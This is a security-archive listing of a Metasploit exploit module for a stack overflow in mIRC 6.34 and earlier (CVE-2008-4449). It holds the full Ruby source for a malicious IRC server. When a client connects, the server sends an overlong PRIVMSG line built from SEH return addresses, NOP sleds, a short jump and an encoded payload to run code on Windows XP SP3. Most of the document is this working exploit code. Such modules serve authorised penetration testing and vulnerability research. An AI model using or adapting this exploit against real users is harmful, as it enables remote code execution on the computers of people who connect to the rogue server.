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mIRC <= 6.34 PRIVMSG Handling Stack Overflow

mIRC <= 6.34 PRIVMSG Handling Stack Overflow
Posted Nov 26, 2009
Authored by patrick | Site metasploit.com

This Metasploit module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier. By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads may be necessary. This Metasploit module is based on the code by SkD.

tags | exploit, overflow
advisories | CVE-2008-4449
SHA-256 | 30d07ff1b1f16f654610067329e7a88dbd7d7e9e8ba0fc52c40272152afc1314

mIRC <= 6.34 PRIVMSG Handling Stack Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'mIRC <= 6.34 PRIVMSG Handling Stack Overflow',
'Description' => %q{
This module exploits a buffer overflow in the mIRC IRC Client v6.34 and earlier.
By enticing a mIRC user to connect to this server module, an excessively long PRIVMSG
command can be sent, overwriting the stack. Due to size restrictions, ordinal payloads
may be necessary. This module is based on the code by SkD.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-4449' ],
[ 'OSVDB', '48752' ],
[ 'BID', '31552' ],
[ 'URL', 'http://www.milw0rm.com/exploits/6666' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 160,
'BadChars' => "\x00\x07\x0a\x0b\x0c\x0d\x20\x21\x22\x23\x24\x25\x27\x2a\x2c\x2e\x2f\x3a\x3b\x3c\x3e\x3f\x40\x7b\x7c\x7d", # This is mostly a guess plus some RFC info.
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - Tested against xpsp3 ok 20090715
[ 'Windows XP SP3', { 'Rets' => [
0x7792FBD1, # SETUPAPI.DLL pop eax pop ret
0x7FFDB5B5,
0x779D87B7, # SETUPAPI.DLL 0x779D87B7 jmp esp
] } ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 02 2008',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('SRVPORT', [ true, "The IRC server port to listen on", 6667 ]),
OptString.new('SRVNAME', [ true, "Welcome to the ... IRC Server Name", "Internet Relay Network" ]),
], self.class)
end

def on_client_connect(client)
return if ((p = regenerate_payload(client)) == nil)
print_status("Client connected! Sending payload...")
buffer = ":my_irc_server.com 001 wow :Welcome to the #{datastore['SRVNAME']} wow\r\n"
client.put(buffer)
end

def on_client_data(client)
client.get_once
sleep(2)
sploit = ":" + Rex::Text.rand_text_alphanumeric(307) + [target['Rets'][0]].pack('V') + [target['Rets'][1]].pack('V')
sploit << make_nops(4) + [target['Rets'][2]].pack('V') + make_nops(4) + "B" * 12
sploit << Rex::Arch::X86.jmp_short(3) +Rex::Text.rand_text_alphanumeric(2)
sploit << make_nops(4) + payload.encoded + make_nops(4) + " PRIVMSG wow : /FINGER wow\r\n"
client.put(sploit)

handler(client)
service.close_client(client)
end
end
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